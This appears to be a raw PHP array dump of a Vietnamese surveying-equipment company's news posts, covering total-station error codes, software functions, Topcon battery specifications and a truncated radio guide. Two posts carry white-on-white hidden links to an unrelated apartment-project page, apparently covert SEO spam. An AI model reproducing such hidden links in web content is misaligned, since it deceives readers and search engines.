/> - E99: xuất hiện khi khởi động máy do mạch chủ của thiết bị hoạt động không bình thường.<br /> - Memory Error: lỗi xảy ra ở bộ nhớ của thiết bị.<br /> Trong các trường hợp máy bị rơi máy sẽ thường báo lỗi “Tilt Over”. Lúc đó máy sẽ không bắt được mục tiêu, khoảng cách đo ngắn, tâm laser đo cạnh bị lệch…</span><br /> </p> <div class="text_exposed_show" style="display: inline; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <p style="margin: 0px 0px 6px; font-family: inherit;"> <strong>* Máy toàn đạc điện tử Sokkia:</strong><br /> <br /> - Out of range: Lỗi này thông báo máy chưa được cân bằng. Nếu máy đã cân bằng nhưng vẫn xuất hiện lỗi này thì bộ bù nghiêng điện tử của máy có sự bất thường.<br /> - Bad Condition, E003, E005: Lỗi này xảy ra ở hệ thống đo cạnh. Trong một số trường hợp, máy không báo một trong các lỗi này nhưng khoảng cách đo lại ngắn hơn 50m.<br /> - E190, E191: Lỗi xảy ra ở hệ thống góc đứng và ngang.</p> <p style="margin: 6px 0px; font-family: inherit;"> </p> <p style="margin: 6px 0px; font-family: inherit;"> Khi gặp những lỗi trên hãy liên lạc với chúng tôi theo số hotline: 0913051734 để được tư vấn kịp thời hoặc mang máy tới địa chỉ sau để khắc phục nhé!</p> <p style="margin: 6px 0px; font-family: inherit;"> CÔNG TY CP CÔNG NGHỆ VÀ TM THÀNH ĐẠT<br /> 50 Láng Hạ, Đống Đa, Hà Nội<br /> Tel: 0243 7765908 - 0243 7764930<br /> Website: <a href="http://www.tracdiathanhdat.vn/" rel="nofollow noopener" style="color: rgb(54, 88, 153); cursor: pointer; text-decoration-line: none; font-family: inherit;" target="_blank">www.tracdiathanhdat.vn</a></p> </div> ', 'images' => '20170725082617856a8a63d5ddebf72614164f9ef7005f.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-07-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '63798', 'slug' => 'nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '855', 'rght' => '856', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '489', 'name' => 'Bạn đã chọn Trắc địa Thành Đạt là đơn vị cung cấp máy móc đo đạc cho dự án của mình chưa?', 'code' => null, 'alias' => 'ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<p style="margin: 0px 0px 6px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <strong>Bạn đã chọn Trắc địa Thành Đạt là đơn vị cung cấp máy móc đo đạc cho dự án của mình chưa?</strong><br /> <br /> Những lý do sau sẽ giúp bạn hiểu thêm về chúng tôi:<br /> <br /> - Cung cấp sản phẩm đa dạng, phong phú với những thương hiệu uy tín trên thị trường như Trimble, Leica, Topcon, Sokkia, Nikon, Yamayo, Kenwood, Garmin …<br /> <br /> - Có hỗ trợ phần mềm đi kèm, với nhân viên kỹ thuật có chuyên môn, tư vấn tận tình<br /> <br /> <br /> - Cập nhật những dòng máy mới, công nghệ mới nhằm tăng độ chính xác và hiệu quả hơn trong công tác đo <span class="text_exposed_show" style="display: inline; font-family: inherit;">đạc, giúp tiết kiệm nhân công và chi phí.<br /> <br /> - Thiết bị có đầy đủ linh kiện, phụ kiện theo kèm; có giấy kiểm nghiệm; phiếu bảo hành; ghi rõ nguồn gốc xuất xứ.<br /> <br /> - Có đội ngũ kỹ thuật chuyên môn cao về lĩnh vực trắc địa để tư vấn phù hợp và kịp thời xử lý vấn đề như thiết bị bị lỗi, kiểm định, bảo hành, bảo dưỡng,…<br /> <br /> - Có nhiều giải pháp phù hợp cho nhiều đối tượng, từ những công ty lớn với những dự án lớn, yêu cầu cao và phức tạp cho tới những đơn vị nhỏ, lẻ với những dự án vừa và nhỏ</span></p> <div class="text_exposed_show" style="display: inline; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <p style="margin: 0px 0px 6px; font-family: inherit;"> <img alt="" src="/admin/webroot/upload/image/images/Sprinter_Measuring_500.jpg" style="width: 500px; height: 333px;" /><br /> <br /> <u>Liên hệ:</u><br /> <br /> <strong>CÔNG TY CP CÔNG NGHỆ VÀ TM THÀNH ĐẠT</strong><br /> 50 Láng Hạ, Đống Đa, Hà Nội<br /> Tel: 0243 7765908 - 0243 7764930<br /> Hotline: 0913051734<br /> Website: <a href="http://www.tracdiathanhdat.vn/" rel="nofollow noopener" style="color: rgb(54, 88, 153); cursor: pointer; text-decoration-line: none;" target="_blank">www.tracdiathanhdat.vn</a><br /> </p> </div> ', 'images' => '201707240414024fbb6fccfcb40bf7edd645a69343b1cb.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-07-24', 'modified' => '2025-08-10', 'status' => '1', 'view' => '58560', 'slug' => 'ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '853', 'rght' => '854', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '488', 'name' => 'PHẦN MỀM ỨNG DỤNG MÁY TOÀN ĐẠC ĐIỆN TỬ BẠN NÊN BIẾT', 'code' => null, 'alias' => 'phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Máy toàn đạc điện tử cơ bản là máy kinh vĩ kết hợp khối đo xa điện tử và phần mềm tiện ích trong máy. Phần mềm tiện ích để giải quyết các bài toán trong trắc địa và tính ra các đại lượng cần thiết, quản lý dữ liệu, giao tiếp với máy tính...</strong></span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong máy toàn đạc điện tử thì các chương trình ứng dụng thường có trong 2 phần là Reference (Chương trình đo tham chiếu) và COGO (tính toán địa hình).<br /> <br /> - <strong> Chương trình đo tham chiếu (Reference):</strong><br /> + Reference Line (Tham chiếu đường thẳng):Chương trình đo tham chiếu đường thẳng là ứng dụng giúp xác định 1 hoặc nhiều đường thẳng tham chiếukhi biết 1 đường Base line và khoảng cách Offset giữa 2 đường.<br /> + Reference Arc (Tham chiếu đường cong):Ứng dụng tham chiếu đường cong cho phép người dùng có thể xác định 1 đường cong và hoàn thànhcác nhiệm vụ sau đây:<br /> * Line&Offset: Xác định khoảng cách và giá trị offset của 1 điểm với cung tròn<br /> * Stakeout (Point, Arc, Chord, Angle): Triển điểm thiết kế<br /> - <strong>Cogo:</strong><br /> + <strong>MLM</strong>: Tính khoảng cách giữa 2 gương<br /> + <strong>REM</strong>: Tính chiều cao không với tới<br /> + <strong>AREA: </strong>Tính diện tích.<br /> + <strong>Inverse</strong>: Tính góc phương vị và khoảng cách từ 2 điểm biết tọa độ.<br /> + <strong>Tranverse: </strong>Tính tọa độ khi biết tọa độ 1 điềm, góc phương vị, cạnh. Khi tính toán xong thì ta dùng <strong>Setout </strong>để bố trí ra ngoài thực địa.<br /> + <strong>Brg-Brg</strong>: Tính tọa độ điểm P3 là giao của P1P3 và P2P3 khi biết tọa độ P1, góc phương vị αP1P3, tọa độ P2, góc phương vị αP2P3.<br /> + <strong>Brg-Dst</strong>: Tính tọa độ điểm P3, P4 khi biết tọa độ P1, P2, góc phương vị αP1P2, khoảng cách bán kính tính từ P2.<br /> + <strong>Intersection 4 points</strong>:Tính tọa độ giao điểm P5 khi biết tọa độ P1, P2, P3, P4.<br /> + <strong>DistOf</strong>: Tính khoảng cách từ điểm P1 đến đường vuông góc P3˽P1P2 và khoảng cách đường vuông góc từ P3 đến P1P2.<br /> + <strong>Set point by Dist offset</strong>: Tính tọa độ điểm P3 khi biết tọa độ P1, P2, khoảng cách dường vuông góc từ P3 đến P1P2, khi tính xong ta dùng <strong>Setout</strong> để chuyển điểm ra thực địa).<br /> + <strong>Extension</strong>: Chức năng Extension được ứng dụng để xác định 1 điểm bất kỳ trên 1 đường thẳng khi biết trước 2điểm làm gốc, và khoảng cách cần từ điểm thứ nhất đến điểm cần xác định, hoặc từ điểm thứ 2 đếnđiểm cần xác định.<br /> <br /> Liên hệ hotline: 0913051734 để biết thêm thông tin chi tiết. </span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Goldlight</span></a>', 'images' => '2017061307412262e44187d92348c552952aa4bf152e90.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-06-13', 'modified' => '2025-08-10', 'status' => '1', 'view' => '63648', 'slug' => 'phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '851', 'rght' => '852', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '487', 'name' => 'PIN MÁY TOÀN ĐẠC ĐIỆN TỬ TOPCON', 'code' => null, 'alias' => 'pin-may-toan-dac-dien-tu-topcon', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify;">Ngày nay khi công nghệ phát triển, các dụng cụ cầm tay, thiết bị di động ra đời ngày càng nhiều nên pin nạp trở thành tiện dụng hơn vì nhỏ gọn, thời gian sử dụng lâu hơn, có thể nạp lại khi hết pin,… Quan trọng hơn pin nạp là nguồn cung cấp năng lượng chủ yếu cho thiết bị di động và cầm tay, đồng thời góp phần không nhỏ trong quá trình phát triển của công nghệ và đời sống hiện nay.</span></span></span>', 'content' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: center;"> </p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Pin nạp là gì?</strong></span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin là một thiết bị lưu trữ năng lượng dưới dạng hoá năng khi ta sử dụng năng lượng này sẽ dần chuyển đổi thành điện năng. Khi hết điện pin được nạp lại cho đầy điện để ta sử dụng lại.</span></span></span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><strong style="margin: 0px; padding: 0px;">Các loại pin nạp</strong></span></span></span></span></p> <ul style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;"> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Ni-Cd dùng cho các dòng máy toàn đạc SOKKIA (SET 4, SET 500)…</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Li-on dùng cho máy toàn đạc Leica TS 02, 06, 09.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin Ni-MH dùng cho máy toàn đạc Topcon dòng GTS.</span></span><br /> <br /> <strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Pin nạp của máy toàn đạc điện tử Topcon<span style="margin: 0px; padding: 0px; color: rgb(255, 0, 0);"> </span></strong></span></span></p> </li> </ul> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Pin máy toàn đạc điện tử Topcon (BT-52QA) được cấu tạo từ 6 cell. Pin sử dụng công nghệ hàn nối tiếp với nhau tạo thành một khối thống nhất. Bên trong có cầu chì nhiệt (800C). Pin được trang bị chuôi nạp để nạp lại mỗi khi hết điện.</span></span></span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><img alt="http://i01.i.aliimg.com/photo/v0/1896865325/BC_27CR_charger_for_Topcon_BT_50QA.jpg_220x220.jpg" src="https://lh4.googleusercontent.com/ws-dsNetBtgmx62donNUdzN_RUgxoHvDy2wamlTBeSAR_DtILrjX8n6-n3rPwW4-NNhgPBShVWiVo_9vcmkz-UY3valCGdXl6QjQruQBgCulHUD6DWg8_mB9hsDv2tzIPgp6EHOHnOIjPax0gA" style="margin: 0px; padding: 0px; border: none; height: 202px; transform: rotate(0rad); width: 248px;" /><img alt="http://www.hailyco.com.vn/upload/product/197656674205.jpg" src="https://lh5.googleusercontent.com/pTX1LRsHz3NMgBp5VQKvJ83hq4wmiQpHxjGWsc5O3-p93M0BUgTjsUppgwtHRL9QuiP1uAreUwOZ1CQJy3J6UzXSRkYOrkuOkekL95lzSAVGlEUp5G_40V3n-ppy6gP3tNeSxXwqsutTUe--Pw" style="margin: 0px; padding: 0px; border: none; height: 202px; transform: rotate(0rad); width: 232px;" /></span></span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br style="margin: 0px; padding: 0px;" /> <br style="margin: 0px; padding: 0px;" /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Pin nạp toàn đạc Topcon BT-52 QA và sạc pin toàn đạc Topcon BC 27CR </span></span></p> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;"><strong style="margin: 0px; padding: 0px;">Bảng thông số kĩ thuật</strong></span></span></span></span></p> <div dir="ltr" style="margin: 0px 0px 0px -5.75pt; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;"> <table style="margin: 0px; padding: 0px; border-collapse: collapse; border-width: initial; border-style: none; border-color: initial;"> <tbody style="margin: 0px; padding: 0px;"> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Loại pin</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Ni-MH</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Điện thế</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">7.2 V</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Dung lượng</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">2300 mA</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Bộ nạp</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">BC-27M/27CR</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Thời gian nạp</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">2.5h</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nhiệt độ hoạt động</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">10 – 400 C</span></span></span></span></p> </td> </tr> <tr style="margin: 0px; padding: 0px;"> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Thời gian đo chi tiết liên tục</span></span></span></span></p> </td> <td style="margin: 0px; padding: 0px; vertical-align: top;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">12h</span></span></span></span></p> </td> </tr> </tbody> </table> </div> <p dir="ltr" style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <br /> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="font-family: "times new roman", times, serif; font-size: 20px; margin: 0px; padding: 0px;">Cách sử dụng pin hiệu quả:</strong></span></span></p> <ul style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif;"> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nạp pin 8 tiếng, sử dụng hết pin cho 3 lần đầu tiên.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Trước khi sử dụng nên nạp đầy pin.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Không sử dụng pin ở những nơi có nhiệt độ dưới 100C hoặc trên 400C.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Nên nạp pin với bộ nạp có chế độ tự ngắt khi pin đầy.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px;"> <p dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Không sạc pin qua đêm.</span></span></span></span></p> </li> <li dir="ltr" style="margin: 0px; padding: 0px; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 0px;"><span style="margin: 0px; padding: 0px;">Sạc đầy pin nếu muốn bảo quản thời gian dài. Định kì sạc lại 2 tháng 1 lần. </span></span></span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Chung cư Goldlight</span></a></li> </ul> ', 'images' => '201705080835254aec30307fe530ba9537842b35eb5fa1.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-05-08', 'modified' => '2025-08-10', 'status' => '1', 'view' => '79070', 'slug' => 'pin-may-toan-dac-dien-tu-topcon', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '849', 'rght' => '850', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '486', 'name' => 'Hướng dẫn cơ bản sử dụng máy bộ đàm', 'code' => null, 'alias' => 'huong-dan-co-ban-su-dung-may-bo-dam', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<div style="text-align: justify;"> <font color="#404040" face="sans-serif"><span style="font-size: 13.3333px;"><b>Chúng tôi xin gửi tới các bạn một vài hướng dẫn cơ bản trong việc sử dụng máy bộ đàm.</b></span></font></div> ', 'content' => '<p style="box-sizing: border-box; user-select: text; border: 0px; font-family: sans-serif; font-size: 15px; margin: 0px 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline; color: rgb(64, 64, 64);"> <span style="box-sizing: border-box; user-select: text; border: 0px; font-family: inherit; font-size: 10pt; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><strong style="box-sizing: border-box; user-select: text; border: 0px; font-family: inherit; font-size: 13.3333px; font-style: inherit; margin: 0px; outline: 